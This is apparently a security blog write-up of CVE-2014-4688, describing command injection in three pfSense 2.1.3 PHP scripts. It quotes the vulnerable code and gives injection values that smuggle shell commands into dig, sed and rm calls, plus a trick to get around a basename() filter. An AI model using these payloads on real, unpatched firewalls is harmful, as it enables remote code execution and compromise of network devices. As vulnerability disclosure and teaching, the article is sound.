PfSense Vulnerabilities Part 2: Command Injection

Introduction

In this article we'll present the CVE-2014-4688 vulnerability existing in pfSense version <= 2.1.3. In later versions of pfSense, the vulnerabilities have been successfully remediated and are no longer present. You should also read the previous articles about PfSense vulnerabilities at the following locations:

Command Injection in diag_dns.php

The diag_dns.php script contains the following code, which is vulnerable to command injection. The code first checks whether a POST parameter host exists and reassigns $POST variables to become $GET variables. After that it checks whether the GET parameter createalias is set to true and trims the value of POST parameter host: the trim() function strips the whitespace characters from the beginning and the end of the string, but the whitespace characters are left intact in the middle of the string. After that, there are some other statements, which are not important at the moment – we need to concentrate on the dig command being run in the backticks.

/* Cheap hack to support both $_GET and $_POST */
if ($_GET['host'])
$_POST = $_GET;

if($_GET['createalias'] == "true") {
$host = trim($_POST['host']);
if($_GET['override'])
$override = true;
$a_aliases = &$config['aliases']['alias'];
$type = "hostname";
$resolved = gethostbyname($host);
if($resolved) {
$host = trim($_POST['host']);
$dig=`dig "$host" A | grep "$host" | grep -v ";" | awk '{ print 5 }'`;

Since we can manipulate the value of $host variable directly, a code injection is possible in the command being run in backticks. Let's input the following as the input value to host POST variable:

192.168.1.1";ifconfig>/usr/local/www/temp.txt;echo+"

The request with the above input string can be presented on the picture below.

image019 Figure 1: A malicious request sent to the server

When the presented request is executed, the web browser will display the following, which contains an error message, which happens because we haven't included the right hostname.

image020 Figure 2: An error message informing us of invalid hostname

We've included the special character ; into the user-supplied host POST parameter, which separates multiple commands that will be executed sequentially. The second command will only be executed if the first command has returned 0 (success); therefore it's imperative that we provide the proper commands to finish them successfully. The commands that are run in the backticks are the following (each command has been presented in it's own row for clarity):

# dig "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" A | grep "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" | grep -v ";" | awk '{ print $5 }'

We can see that every command will be executed properly and there are no loose ends. The most important command is the ifconfig one, which has been injected into the script to obtain it's output. Since we can't get the output of the command directly in the response, we must pipe it to a file in DocumentRoot, so we can access it normally via a web browser. A partial request available at https://pfsense/temp.txt can be seen below.

image021 Figure 3: Created temp.txt file

We've successfully injected the ifconfig command and obtained it's output, so at this moment we can inject arbitrary command into the diag_dns.php script and get it's output.

An attacker can inject a specifically crafted command to be executed on the server.

Command Injection in diag_smart.php

The diag_smart.php script contains th update_email function, which has been presented below for completeness. The function is used to edit smartd.conf file to add or remove an email for failed disk reporting. The script accepts the smartmonemail POST parameter as is clearly visible in the code sample below. Notice that the function then calls the sed command and passing the unescaped parameter directly into the shell_exec function.

  function update_email($email)
  {
  // Did they pass an email?
  if(!empty($email))
  {
  // Put it in the smartd.conf file
  shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m "
 $email . "/' /usr/local/etc/smartd.conf");
  }
  // Nope
  Else
  {
  // Remove email flags in smartd.conf
  shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN/'
usr/local/etc/smartd.conf");
  }
  }
  if($_POST['email'])
  {
  // Write the changes to the smartd.conf file
  update_email($_POST['smartmonemail']);
  }

The code above allows us to inject arbitrary command into the shell_exec function, which will execute it. The request below presents an example command injection, which will echo "Command Injection" into the /var/local/www/cmd.txt file.

When the shell_exec function executes the following commands will actually be executed, where each command is presented in it's own row for clarity.

# /usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m ejan/'+/usr/local/etc/lynx.cfg;
# echo+"Command+Injection">/usr/local/www/cmd.txt;
# echo+' /' /usr/local/etc/smartd.conf;

The first and the third command needed to be supplemented in order to be executed successfully, but the middle command is the action command that we wanted to inject. Note that at this point we can inject arbitrary command in shell_exec function. If we visit the https://pfsense/cmd.txt URL, we can see that the actual string was indeed saved into the appropriate file in DocumentRoot.

image022 Figure 4: Created cmd.txt file

An attacker can inject arbitrary command to be executed on the server.

Command Injection in status_rrd_graph_img.php

The status_rrd_graph_img.php script is vulnerable to command injection, where the vulnerability exists in how the exec() function is called in the following piece of code. Note that the whole code is not subsequent in the php script, so only the relevant portions are presented for brevity.

  if ($_GET['database']) {
  $curdatabase = basename($_GET['database']);
  } else {
  $curdatabase = "wan-traffic.rrd";
  }

 ...

 if(strstr($curdatabase, "queues")) {
  log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
  exec("/bin/rm -f $rrddbpath$curif$queues");
  Flush();
  Usleep(500);
  enable_rrd_graphing();
  }
  if(strstr($curdatabase, "queuesdrop")) {
  log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
  exec("/bin/rm -f $rrddbpath$curdatabase");
  Flush();
  Usleep(500);
  enable_rrd_graphing();
  }

At the beginning of the code section above, the basename is called on the GET parameter database if that parameter is set; otherwise it's set to the static string "wan-traffic.rrd". Since we want to inject code into the script, we must set this parameter to something, but we must do so to bypass the basename function. The basename function accepts a path to a file and returns trailing name component of the path, where the forward slash / is used as path separator on Linux/BSD (therefore also Pfsense) 1. So the function basically returns the string after the last forward slash / character, which we must take into account when injecting the parameter value, because everything before the last forward slash will be cut off. Therefore, we can inject any character into the database GET parameter, except forward slash. Note that we can inject in either of the exec() statements presented above, depending on the string we passed in the databage GET parameter – in this case we want to use the second exec() function call, which is simpler. When the bottom part of the code is being executed the following will be run.

# /bin/rm -f /var/db/rrd/$curdatabase;

We can finish the command to be executed with the ; character and then insert another command, which will be executed after the rm command. If we use the ; command separator the injected command will only be executed if the rm command has finished executing successfully. If we don't care about the status of the rm command, we can separate our injected command with &&. Note that we can't echo some text into the arbitrary directory, since the forward slash is not allowed. To overcome that we can move into arbitrary directory with multiple cd commands and pipe the file there. First we have to figure out the current directory of where the code gets executed, which is in /var/db/rrd/ directory. The request below shows how we can execute the "queues;echo+"CMD+INJECT">cmd.txt" command.

image023 Figure 5: A request executing the echo command

Since the current directory is /var/db/rrd/, the cmd.txt file should be created in there with the contents "CMD INJECT", which can be proven by displaying the contents of that file.

# cat /var/db/rrd/cmd.txt CMD INJECT

To create the same file in the DocumentRoot of the Pfsense installation, we can issue three "cd .." commands to move one directory back and then go to the /usr/local/www/ directory and execute the echo command from there. This will execute the cmd.txt file in /usr/local/www/cmd.txt path.

image024 Figure 6: A request executing the echo command 2

Since we're in the current DocumentRoot of Pfsense web application, we can simply request the cmd.txt in a web browser and observer whether we receive the "CMD INJECT" output.

image025 Figure 7: The created cmd.txt file

The vulnerability allows us to execute arbitrary code on the Pfsense server, which can lead to total firewall compromise.

An attacker can inject arbitrary command to be executed on the server.

Conclusion

If you find this post interesting, you can follow our blog: RSS.

Comments